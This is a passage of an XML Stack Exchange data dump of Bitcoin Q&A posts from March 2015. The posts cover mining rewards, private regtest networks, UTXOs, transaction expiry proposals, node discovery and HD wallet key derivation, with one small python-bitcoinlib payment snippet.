equivalent as having two miners having exactly 50% of the&#xA;  hashing power each. So in principle the freeze on transaction problem&#xA;  is just a temporary disruption in the network, but not a fatal halt.&#xA;  Nevertheless, since during the freeze period each miner is mining on&#xA;  his own branch, it also means that moving forward with blocks is a lot&#xA;  slower. Assuming 10 miners having 10% of the total hashing power each&#xA;  (+/- 3%), the network becomes 10 times slower. I simulated it with a&#xA;  50 BTC tx freeze fee, and 10 miners, and it takes approximately 6&#xA;  blocks to converge, so the freeze time is approximately 60 times the&#xA;  block interval, or 10 hours. If the distribution is approximately 25%&#xA;  of the hashing power for each top miner, the freeze time is 4 hours.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-03-05T08:59:12.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36331" PostTypeId="1" CreationDate="2015-03-05T10:25:02.593" Score="2" ViewCount="55" Body="&lt;p&gt;According to this &lt;a href=&quot;https://en.bitcoin.it/wiki/Block#What_if_I.27m_1.25_towards_calculating_a_block_and....3F&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt; on average six blocks in the Bitcoin network are solved per hour, yet there are thousands of Bitcoin miners and presumably more than six of them are making money every hour. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="24593" LastEditorUserId="5406" LastEditDate="2016-04-10T12:46:58.103" LastActivityDate="2016-04-10T12:46:58.103" Title="If only six blocks are solved per hour, then how are more than six miners getting paid per hour?" Tags="|mining-pools|mining-reward|pool-payout-methods|" AnswerCount="0" CommentCount="3" ClosedDate="2015-03-05T11:05:29.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="36332" PostTypeId="5" CreationDate="2015-03-05T15:11:47.583" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-03-05T15:11:47.583" LastActivityDate="2015-03-05T15:11:47.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36333" PostTypeId="4" CreationDate="2015-03-05T15:11:47.583" Score="0" Body="A remittance is a transfer of money by a foreign worker to an individual in his or her home country." OwnerUserId="23327" LastEditorUserId="23327" LastEditDate="2015-03-05T23:26:05.457" LastActivityDate="2015-03-05T23:26:05.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36336" PostTypeId="2" ParentId="36163" CreationDate="2015-03-05T18:21:31.213" Score="-2" Body="&lt;p&gt;He means that the use case of currency may bot be successful and other alt could get it right  Or be more advanced and replace bitcoin but that blockchain technology cannot be uninvented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD, Namecoin uses another blockchain that is mined at the same time with bitcoin. Only BTC miners can get NMC. Why not 100% of them do it is another story. &lt;/p&gt;&#xA;" OwnerUserId="24596" LastEditorUserId="2306" LastEditDate="2015-03-06T06:39:33.157" LastActivityDate="2015-03-06T06:39:33.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36337" PostTypeId="2" ParentId="36015" CreationDate="2015-03-05T18:33:38.787" Score="1" Body="&lt;p&gt;He can sell for cash with local trader on mycelium.&lt;/p&gt;&#xA;" OwnerUserId="24596" LastActivityDate="2015-03-05T18:33:38.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36341" PostTypeId="1" AcceptedAnswerId="36343" CreationDate="2015-03-05T21:06:02.747" Score="5" ViewCount="4826" Body="&lt;p&gt;Is there anyway to create my own Bitcoin Network? &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to put my first block into self-own Bitcoin Network and make it grow : ) &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2022-12-29T11:05:20.833" Title="Start a Private Bitcoin Network" Tags="|network|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36342" PostTypeId="2" ParentId="2293" CreationDate="2015-03-05T21:14:06.260" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://brawker.com/&quot; rel=&quot;nofollow&quot;&gt;Brawker&lt;/a&gt; solves this by letting you fulfill fiat currency orders for other people, which then release BTC for you upon completion of the order.&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2015-03-05T21:14:06.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36343" PostTypeId="2" ParentId="36341" CreationDate="2015-03-05T21:40:18.500" Score="6" Body="&lt;p&gt;If you just want to play around or test your apps then bitcoin-core's &lt;code&gt;regtest&lt;/code&gt; mode might be what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Developer examples on &lt;code&gt;regtest&lt;/code&gt; mode: &lt;a href=&quot;https://bitcoin.org/en/developer-examples#regtest-mode&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoin.org/en/developer-examples#regtest-mode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tutorial to get you started: &lt;a href=&quot;https://geraldkaszuba.com/creating-your-own-experimental-bitcoin-network/&quot; rel=&quot;noreferrer&quot;&gt;https://geraldkaszuba.com/creating-your-own-experimental-bitcoin-network/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to fork bitcoin and create your own altcoin this guide can be useful: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=225690.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=225690.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-03-05T21:40:18.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36344" PostTypeId="2" ParentId="36320" CreationDate="2015-03-05T22:04:09.103" Score="-2" Body="&lt;p&gt;The main security risk is that the elliptical curve might get broken in which case reusing addresses will become unsafe. You can use armory to make new addresses every time if this is a big concern.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-03-05T22:04:09.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36345" PostTypeId="1" CreationDate="2015-03-05T23:46:19.670" Score="3" ViewCount="1690" Body="&lt;p&gt;I live in the USA.&#xA;I would like to use prepaid cards to buy some BTC (less than $100USD)&#xA;I've tried trucoin.com and the wait time is enormous, 4 days since sign up and still haven't received an invite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried circle.com but they do not currently accept prepaid options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other options does a prepaid card user have?&lt;/p&gt;&#xA;" OwnerUserId="24603" LastEditorUserId="24603" LastEditDate="2015-03-05T23:54:36.773" LastActivityDate="2017-07-16T15:33:43.583" Title="Are there any online services available to exchange prepaid cards into BTC?" Tags="|exchanges|usa|localbitcoins|trucoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36346" PostTypeId="2" ParentId="242" CreationDate="2015-03-06T04:35:06.223" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://coinut.com&quot; rel=&quot;nofollow&quot;&gt;Coinut&lt;/a&gt; is now offering Bitcoin PUT options settled by Bitcoins. You can trade either binary or vanilla options. It is now the only functioning Bitcoin options exchange. &lt;/p&gt;&#xA;" OwnerUserId="24605" LastActivityDate="2015-03-06T04:35:06.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36347" PostTypeId="1" CreationDate="2015-03-06T04:57:33.547" Score="-1" ViewCount="1124" Body="&lt;p&gt;How may I know if I've set up my bfgminer correctly? I don't have any hardwares (cause I'm like pretty broke and it costs a lot) so how may I know if bfgminer is properly working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I know if I earned something? I'm completely new to this and no clear instructions either.&lt;/p&gt;&#xA;" OwnerUserId="24606" LastEditorUserId="5406" LastEditDate="2016-04-10T12:46:14.020" LastActivityDate="2016-04-10T12:46:14.020" Title="How do I set up bfgminer?" Tags="|bitcoin-core|miner-configuration|bfgminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36348" PostTypeId="2" ParentId="35706" CreationDate="2015-03-06T06:21:00.937" Score="4" Body="&lt;p&gt;These files contain every LTC trade from day 1 through about 2:20pm UTC on 31-3-2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LTCBTC @ BTCe Oct 2011 through March 2013&#xA;&lt;a href=&quot;http://www.mediafire.com/view/?5cwjmviou15k32h&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/view/?5cwjmviou15k32h&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LTCUSD @ BTCe Oct 2011 through March 2013&#xA;&lt;a href=&quot;http://www.mediafire.com/view/?cn5qxi44j6egrad&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/view/?cn5qxi44j6egrad&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also Kraken LTCEUR charts are here:&#xA;&lt;a href=&quot;http://api.bitcoincharts.com/v1/csv/&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoincharts.com/v1/csv/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for 2013 and 2014 BTCe LTCUSD and LTCBTC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help&lt;/p&gt;&#xA;" OwnerUserId="24609" LastEditorUserId="2306" LastEditDate="2015-03-06T06:41:23.710" LastActivityDate="2015-03-06T06:41:23.710" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36350" PostTypeId="1" CreationDate="2015-03-06T15:23:25.387" Score="3" ViewCount="230" Body="&lt;p&gt;I understand any output in blockchain can be left un-redeemed forever. But If we expire all transactions that are more than two years old (specifically after some number of blocks), there are some benefits&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Recycle lost/destroyed bitcoins by giving them back to miners&lt;/li&gt;&#xA;&lt;li&gt;Miners will continue to get more transactions and thus more fees&lt;/li&gt;&#xA;&lt;li&gt;Number of unspend transactions may become less speeding up verification&lt;/li&gt;&#xA;&lt;li&gt;Size of blockchain to keep downloaded can be minimized&lt;/li&gt;&#xA;&lt;li&gt;Broken cryptographic hahes/signatures can be made obsolute&lt;/li&gt;&#xA;&lt;li&gt;New features can be easily introduced&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Are there any alt coins that consider these? What are the advantages of keeping all transactions valid since genesis block?&lt;/p&gt;&#xA;" OwnerUserId="23302" LastActivityDate="2015-03-07T09:31:17.610" Title="Why can't we expire two year old transactions?" Tags="|transactions|altcoin|algorithms|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36351" PostTypeId="2" ParentId="36345" CreationDate="2015-03-06T16:01:15.690" Score="-1" Body="&lt;p&gt;Besides using something like &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://localbitcoins.com&lt;/a&gt;, you can try &lt;a href=&quot;https://purse.io/&quot; rel=&quot;nofollow&quot;&gt;https://purse.io/&lt;/a&gt; and buy stuff for people on amazon with your card and get bitcoins back.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-03-06T16:01:15.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36352" PostTypeId="2" ParentId="36350" CreationDate="2015-03-06T16:12:51.787" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Recycle lost/destroyed bitcoins by giving them back to miners&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Miners will continue to get more transactions and thus more fees&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you already own bitcoin, this isn't a good thing as it increases the supply. That said, there is an altcoin called &lt;a href=&quot;http://freico.in/&quot; rel=&quot;nofollow&quot;&gt;Freicoin&lt;/a&gt; that uses demurrage rather than an abrupt 2-year expiration that's got some of the property you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Number of unspend transactions may become less speeding up verification&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Size of blockchain to keep downloaded can be minimized&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This may or may not be true as expiring coins gives people incentive to transfer them in order to not lose them. I would guess that given this fairly major economic incentive, the number of unspent transactions wouldn't actually go down that much.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Broken cryptographic hahes/signatures can be made obsolute&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;New features can be easily introduced&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You seem to be of the opinion that what's keeping bitcoin from innovating is that there's all these obsolete transactions. That's simply not true. What's keeping bitcoin from innovating is the possibility of a hard fork. New features like lifting the 1MB block limit has nothing to do with old transactions being in the blockchain. It has everything to do with miners achieving concensus.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-03-06T16:12:51.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36353" PostTypeId="2" ParentId="10863" CreationDate="2015-03-06T17:20:11.453" Score="1" Body="&lt;p&gt;Yeah I think this feature is going to be awesome; I guess its already included in the HTML5 specs:&#xA;&lt;a href=&quot;https://html5.org/r/7850&quot; rel=&quot;nofollow&quot;&gt;https://html5.org/r/7850&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this worked similar to &quot;mailto:&quot; across all browsers &amp;amp; OSes, it could become ridiculously easy to accept payments through your website, maybe BitPay wouldn't be needed as long as native clients could pick up the slack &amp;amp; do currency conversion etc. Right now the user needs to exit your page and pull up their wallet to make a payment, which is a huge barrier.&lt;/p&gt;&#xA;" OwnerUserId="2938" LastActivityDate="2015-03-06T17:20:11.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36354" PostTypeId="2" ParentId="36295" CreationDate="2015-03-06T20:44:34.110" Score="-1" Body="&lt;p&gt;In general, when bitcoin is rising, all the others cryptos do, and vice versa. You can say that bitcoin is leading the crypto in general, so any upthread in bitcoins rate usually leads to the raise of most of the alts&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2015-03-06T20:44:34.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36355" PostTypeId="2" ParentId="36088" CreationDate="2015-03-06T20:48:24.947" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.worldcoinindex.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.worldcoinindex.com/&lt;/a&gt; maybe? try to ask them at their BTT thread &lt;a href=&quot;https://bitcointalk.org/index.php?topic=384546.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=384546.0&lt;/a&gt; or maybe CoinMarketCap if asked privately will provide you with the enhanced API? &lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2015-03-06T20:48:24.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36356" PostTypeId="2" ParentId="36347" CreationDate="2015-03-06T23:09:50.467" Score="0" Body="&lt;p&gt;bfgminer requires some sort of hardware to mine on. This is usually an FPGA or ASIC, though GPUs can be (unprofitably) used. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how may I know if bfgminer is properly working?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Typically, bfgminer will show output in the command line showing that it is working. Also, the pool that you are mining in will show accepted shares from your worker.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-06T23:09:50.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36357" PostTypeId="2" ParentId="24571" CreationDate="2015-03-07T07:17:28.587" Score="3" Body="&lt;p&gt;Code sample from 04/2014 is out of date with current python-bitcoinlib. Slight modification here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bitcoin.core import COIN, b2lx&#xA;import bitcoin.wallet&#xA;import bitcoin.rpc&#xA;&#xA;rpc = bitcoin.rpc.Proxy()&#xA;addr = bitcoin.wallet.CBitcoinAddress('1JwSSubhmg6iPtRjtyqhUYYH7bZg3Lfy1T')&#xA;&#xA;txid = rpc.sendtoaddress(addr, 0.001 * COIN)&#xA;print(b2lx(txid))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested on v0.3.0+&lt;/p&gt;&#xA;" OwnerUserId="24617" LastActivityDate="2015-03-07T07:17:28.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36358" PostTypeId="1" AcceptedAnswerId="36362" CreationDate="2015-03-07T07:34:50.483" Score="0" ViewCount="8175" Body="&lt;p&gt;Let's say for example I put my public bitcoin address on a website for donations and multiple people for around the world deposit bitcoins simultaneously to that same wallet: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Will all deposit transactions be valid on the bitcoin network or might some transactions &quot;overwrite&quot; the other?&lt;/li&gt;&#xA;&lt;li&gt;While receiving bitcoins from someone (not yet a verified transaction on the network), can I withdraw or pay bitcoins using the same wallet given the amount only include previous bitcoins and does include the new deposit?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18473" LastActivityDate="2021-02-22T16:43:07.717" Title="Can one wallet send/receive bitcoins from/to multiple sources simultaneously?" Tags="|transactions|wallet|payment|public-key|withdrawal|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36359" PostTypeId="2" ParentId="36358" CreationDate="2015-03-07T09:09:16.870" Score="1" Body="&lt;p&gt;You seem to be missing Unspent Transaction Outputs (UTXO) as a piece of the puzzle here:&lt;br&gt;&#xA;Every transaction on the network results in one or more UTXO. You can think of them as a bill with the value of the received transaction. Every time you make a transaction,  the UTXO you put in get destroyed and new ones spendable by the recipient get created. Since each UTXO is unique, they cannot clash with each other (you getting a bill from one person doesn't stop you from getting another from someone else), and you can only spend them once you have received them.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-03-07T09:09:16.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36360" PostTypeId="2" ParentId="36350" CreationDate="2015-03-07T09:31:17.610" Score="6" Body="&lt;p&gt;One big reason against this sort of thing is that it creates a huge incentive for bad people to try to prevent you to do transactions (censor you). &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If miners get the &quot;lost&quot; bitcoins they might simply refuse transactions with coins that are almost expired hoping to get a bigger reward later. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If miners don't get them but they are truly lost forever, then there is an incentive for big stakeholders to try to do the same thing: less coins means the value of everyone else's coins goes up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It gives governments and other mafia huge power: don't want to comply? We'll just lock you up for 2 years and make your coins expire. Or more &quot;humanely&quot; use other censorship tricks (hacking/digital censoring) to prevent you from spending your coins before they expire.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Another reason is that people will en mass set up automated scripts to move all their coins regularly, which is a big security (and privacy) risk. It's much easier to keep private keys safe (on a piece of paper in a vault) than it is to keep an internet connected system powered up and safe 24/7.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-03-07T09:31:17.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36362" PostTypeId="2" ParentId="36358" CreationDate="2015-03-07T15:25:24.330" Score="1" Body="&lt;p&gt;For your first question: There is no limit to the number of transactions that can be sent to a single address.  Even if someone sent two different payments to your address, from the same address, both for the same amount, at the same instant: they would be two separate transactions, with different transaction ID's, and you'd receive credit for both of them.  Murch's answer explains in a little more detail how thsi works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your second question: First of all, one should avoid mixing up the words &lt;em&gt;verified&lt;/em&gt; and &lt;em&gt;confirmed&lt;/em&gt;.; although they are essentially synonyms in everyday English, in Bitcoin terminology they have specific distinct meanings.  &lt;em&gt;Verifying&lt;/em&gt; a transaction just means checking that it is &lt;em&gt;valid&lt;/em&gt;: it spends coins that really exist, and is authorized by the person to whom those coins belong.  But &lt;em&gt;verifying&lt;/em&gt; doesn't rule out the possibility that this person also authorized another valid transaction attempting to spend those same coins.  Excluding that is achieved by &lt;em&gt;confirmation&lt;/em&gt;, which essentially ensures that out of any set of conflicting transactions, there is only one which is considered &quot;confirmed&quot; by being included in a growing block chain, and that this choice is permanent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you really mean to ask is: if someone (call them X) sends you bitcoins, can you spend them right away (by sending them to some other person Y), or do you have to wait for the transaction to be confirmed?  The Bitcoin protocol says that if the transaction sending you the coins is &lt;em&gt;valid&lt;/em&gt;, then you can immediately create a transaction spending those coins and it will also be &lt;em&gt;valid&lt;/em&gt;.  However, for confirmation, your transaction to Y cannot be confirmed until after the transaction from X is confirmed.  If the first transaction is not confirmed (maybe X forgot to include a transaction fee, or already spent those coins) then your transaction to Y cannot be confirmed either.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's possible in principle to spend the incoming coins immediately, but in practice it's probably not a good idea, because it can lead to a confusing situation if the incoming transaction ends up not being confirmed.  For this reason, to keep you from shooting yourself in the foot, most Bitcoin client software will make you wait until the incoming transaction receives some number of confirmations before letting you use it as an input for outgoing transactions; until then, you can only spend coins that have previously been received and confirmed.  But this is a convenience feature rather than an inherent limitation: if you really wanted, you could patch your software to remove this restriction, and that would be fine with the rest of the network.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-03-07T15:25:24.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36363" PostTypeId="1" CreationDate="2015-03-07T17:02:49.173" Score="1" ViewCount="178" Body="&lt;p&gt;On my node's &lt;a href=&quot;https://getaddr.bitnodes.io/&quot; rel=&quot;nofollow&quot;&gt;https://getaddr.bitnodes.io/&lt;/a&gt; page, clicking the &quot;Check Node&quot; button on the bottom of the page reports that the node associated with this IP address is up; however, at the top of the page, &quot;Node Status&quot; says it isn't. It seems my node is having discoverability issues with the Bitcoin network, although &lt;a href=&quot;https://getaddr.bitnodes.io/&quot; rel=&quot;nofollow&quot;&gt;https://getaddr.bitnodes.io/&lt;/a&gt; can ping it just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would this be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even run the node on a different network (one even supporting IPv6), and I get the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking it may have something to do with my running bitcoin-qt with a Tor proxy, although I am explicitly supplying the &quot;--listen&quot; flag to bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://github.com/ayeowch/bitnodes/issues/13&quot; rel=&quot;nofollow&quot;&gt;I've asked about this on Github&lt;/a&gt;, but it doesn't seem to be a big in &lt;code&gt;bitnodes&lt;/code&gt; but a configuration issue on my end; or perhaps the BTC network in my area just doesn't have need of more nodes?)&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-03-07T18:03:23.270" LastActivityDate="2015-03-07T18:03:23.270" Title="Node Discovery Issue" Tags="|nodes|tor|discovery|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36364" PostTypeId="1" CreationDate="2015-03-07T17:41:29.757" Score="1" ViewCount="123" Body="&lt;p&gt;I am new to bitcoin technology, I want to build Bitcoin payment button with 2 bitcoin addresses, first is my site address where I will receive a small commission fee, second is my site seller address. When a customer pay, bitcoins will be send to both addresses, is that possible?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="24621" LastActivityDate="2015-03-08T19:01:17.597" Title="Pay button with 2 receiving addresses" Tags="|payment|payment-processors|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36365" PostTypeId="2" ParentId="36364" CreationDate="2015-03-07T18:03:09.097" Score="2" Body="&lt;p&gt;It's possible, but difficult to do with standard wallets. What you can do is have a third address that your clients will see, and when you receive bitcoins there, then split them to the other two addresses that you want.&lt;/p&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2015-03-07T18:03:09.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36366" PostTypeId="2" ParentId="36294" CreationDate="2015-03-07T19:59:00.670" Score="0" Body="&lt;p&gt;As the question is already answered in the comments and there anothere question arouse about how to send API commands independently to the server from each node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Nick ODell gave a correct hint, in fact you need to prefix each API command like &quot;getbalance&quot; with &quot;bitcoin-cli -conf=&quot;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Nick ODell! &lt;/p&gt;&#xA;" OwnerUserId="24556" LastActivityDate="2015-03-07T19:59:00.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36367" PostTypeId="1" AcceptedAnswerId="36374" CreationDate="2015-03-08T02:57:37.660" Score="1" ViewCount="132" Body="&lt;p&gt;From Biteasy's API for TXID &lt;a href=&quot;https://api.biteasy.com/blockchain/v1/transactions/fccf964964c34994e5dbbb9ff7f914159b524b0831f6eea12255aa424b39090e&quot; rel=&quot;nofollow&quot;&gt;fccf964964c34994e5dbbb9ff7f914159b524b0831f6eea12255aa424b39090e&lt;/a&gt; we can see the following info regarding inputs (for a P2SH Tx):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;script_sig_string&quot;: &quot;[] [3044022016c09f09b6c55....]&#xA;&quot;script_sig&quot;: &quot;ff473044022016c09f09b6c55....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do know a null byte vector (OP_0) is required for the &lt;em&gt;off by 1 error&lt;/em&gt; for multisig Txs. But it's the raw hex where &lt;code&gt;ff&lt;/code&gt; is representing the OP_0 (empty array) that is confusing me.  Is this being read as 2's complement of 0x00 or is it reading &lt;code&gt;OP_INVALIDOPCODE&lt;/code&gt; as outlined on the Bitcoin Wiki Script page (quoted below)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_PUBKEYHASH      253  0xfd    Represents a public key hashed with OP_HASH160.&#xA;OP_PUBKEY          254  0xfe    Represents a public key compatible with OP_CHECKSIG.&#xA;OP_INVALIDOPCODE   255  0xff    Matches any opcode that is not yet assigned.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI, this Tx caused issues with the core software parsing the blockchain awhile back; that much I am aware. However I have yet to find an explanation online (omitting github/C++ code, which I am not well versed in reading)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-03-09T09:40:19.160" Title="Specific instance of Tx using a malformed null byte vector for P2SH; insight req" Tags="|transactions|script|raw-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36368" PostTypeId="1" AcceptedAnswerId="36371" CreationDate="2015-03-08T03:15:14.930" Score="2" ViewCount="837" Body="&lt;p&gt;As describe by Maxwell &lt;a href=&quot;https://bitcointalk.org/index.php?topic=19137.msg239768#msg239768&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; in HD wallets assuming we have a key pair with private key &lt;code&gt;SK.a&lt;/code&gt; and public key of &lt;code&gt;PK.a&lt;/code&gt; and a seed &lt;code&gt;s&lt;/code&gt; and a generator point &lt;code&gt;G&lt;/code&gt;, we can generate a new key pair of &lt;code&gt;(SK.b, PK.b)&lt;/code&gt; as follows: &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PK.b = PK.a + sG&#xA;SK.b = SK.a + s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The advantage with this method is that a service provider can generate new public keys without knowing the clients private key.&#xA;My question is that, why don't we multiply the seed and private key rather than adding them?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PK.b = PK.a * s&#xA;SK.b = SK.a * s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any problem with the later method that I suggested?&lt;/p&gt;&#xA;" OwnerUserId="21331" LastEditorUserId="2306" LastEditDate="2015-04-22T18:16:04.477" LastActivityDate="2015-04-22T18:16:04.477" Title="Address generator for Bitcoin wallet" Tags="|private-key|bip32-hd-wallets|seed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36369" PostTypeId="2" ParentId="35976" CreationDate="2015-03-08T03:41:00.267" Score="2" Body="&lt;p&gt;it is most likely this bug, fixed now: &#xA;&lt;a href=&quot;https://github.com/spesmilo/electrum/commit/059d381ba8cfed0b4c00cb9b4ec1ff13293de74c&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/electrum/commit/059d381ba8cfed0b4c00cb9b4ec1ff13293de74c&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2015-03-08T03:41:00.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
